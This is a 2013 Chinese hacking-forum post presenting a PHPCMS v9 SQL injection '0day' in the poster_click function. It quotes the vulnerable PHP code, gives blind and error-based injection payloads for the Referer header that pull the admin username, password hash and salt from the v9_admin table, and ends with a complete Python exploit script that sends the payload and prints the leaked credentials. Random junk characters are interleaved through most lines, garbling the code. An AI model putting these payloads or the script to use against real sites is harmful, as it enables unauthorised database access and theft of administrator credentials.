找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
4 W) Y+ D3 K% B! q+ C- \: U# o7 P& }1 d4 q; ?7 L
问题函数\phpcms\modules\poster\index.php! a( T. \% q6 k" v' ?- v, ]
4 b  Q4 [: E% F7 q
public function poster_click() {2 [* p$ A0 l' ?& h+ v: B/ n
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
  S! f4 \8 A3 z% i+ P$r = $this->db->get_one(array('id'=>$id));
: V0 {: N3 z; ?$ Dif (!is_array($r) && empty($r)) return false;
2 E2 S0 c2 {$ C( s$ip_area = pc_base::load_sys_class('ip_area');
; f2 O& q; u. g* X% D# Z& {) [$ip = ip();
0 N6 R# I6 W) H: N, _$area = $ip_area->get($ip);
2 F( h. n8 R# ?& [  @+ E$username = param::get_cookie('username') ? param::get_cookie('username') : '';- Z5 y9 f. W( E: q3 y) @
if($id) {
2 [  L0 G0 F  H5 P" h# _$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
& l9 {' j2 d  Q: C" W$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));+ Y  A0 C  r/ e7 r" r
}
' D9 {7 p. j: W5 T! f; z+ Y( {$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));+ e" [0 u' K: s# J5 V' J& e
$setting = string2array($r['setting']);1 g3 Y" r* V* w
if (count($setting)==1) {
& `- I6 I: G; O* U0 j; T$url = $setting['1']['linkurl'];
8 ^$ d5 ?! w! V% M5 V  J} else {
6 w# q) V/ I3 W# r2 r& B! y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];3 C6 j. l! P9 ?! k% |- w
}! U5 V2 ~" D2 z) u9 V
header('Location: '.$url);8 s* T3 X5 T2 H8 R7 h
}. j/ |. P+ X7 E3 c
% X1 T  u+ |  h8 A- j* @3 [# A
, K9 z8 F" U! ?0 e- {/ X

- \3 A# \  C5 S% }* ^( C利用方式:
  b, Z: h+ v8 s4 ]+ L) I/ D1 O! v9 a+ m3 V
1、可以采用盲注入的手法:
& k* l# k' x$ \8 C! W3 R5 q, D5 I  M5 D8 x
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
5 S; j1 \5 t0 d6 f+ j& R! D( i, h' \/ g+ ?  ?3 N/ \5 W
通过返回页面,正常与否一个个猜解密码字段。' w9 y0 H0 Q0 P

0 l, \6 Q2 [3 M6 r5 W' I8 V1 o7 g2、代码是花开写的,随手附上了:
  \( i# ^  L1 m% ]1 e* J# z
1 ]) [! v5 r/ x( Y" G! D. K  N. C) {$ G1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
- c8 U- h( ?$ B6 a& V2 r: ?
" J) B6 j) ~$ e, `' J- _2 i此方法是爆错注入手法,原理自查。4 t7 S; _. [8 v1 \* q
  }! _* c" ?  v6 L( Y
. c0 q: A, K8 t! D0 j
0 r8 d. d: ]0 }7 f" Y/ M  U
利用程序:; x$ @0 K3 m1 ?# t% P5 M* J5 h; R/ }
& Z3 Z$ k6 m9 G& i6 [* `, Z
#!/usr/bin/env python5 d$ m5 U" q3 C: }1 G9 o8 M
import httplib,sys,re; b# w6 H- v. M' R$ r5 l
$ v1 ~  e" K8 o0 F: v
def attack():! a: z4 Z& c6 o5 d7 k1 H! l5 E& ^
print “Code by Pax.Mac Team conqu3r!”
! M/ b5 n$ }" {& s- U: M+ Aprint “Welcome to our zone!!!”) L, b8 C+ \9 w! o
url=sys.argv[1], M4 c. Z9 J& B! ?6 i* J9 Y3 u
paths=sys.argv[2]
( D# B8 g* w6 o, Q5 V% {1 Aconn = httplib.HTTPConnection(url)2 |" |: @5 f' v1 T5 L; H
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
) M% j( v+ k6 F# A5 a/ L* {  i“Accept”: “text/plain”,
' V4 Q: j3 v7 P) {“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
1 P' G! {  R& N) X2 }  Nconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers): L0 r4 q! }4 _/ i' C* g( w
r1 = conn.getresponse()4 |  t" t2 z) Q& v+ ~
datas=r1.read()
, {: W* ~' R+ `% w  F2 T2 Jdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 X. H1 v7 ?2 g) ~- S( f$ eprint datas[0]% d$ w, O$ D6 |' H: }, b" @
conn.close()
4 |$ x! R! \. G0 t2 D# Yif __name__==”__main__”:
5 ]+ m: P8 P- @if len(sys.argv)<3:& D% }& @9 |9 \2 k4 h& z4 J
print “Code by Pax.Mac Team conqu3r”
, W7 f- ~& K5 n. Z9 Zprint “Usgae:”) G) ?8 _* v  ^! ?
print “    phpcmsattack.py   www.paxmac.org /”
$ ?4 D: z8 y$ D: D% Wprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”- z/ _* ?1 Q. r8 a% I4 p3 V$ [, g
sys.exit(1): M* d4 k/ ~  d) r9 Z9 m5 f- B. p" e% ]' ~
attack()
) r1 d/ }; u6 ^( C# W
3 `5 _8 e5 c2 e" y. M" x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表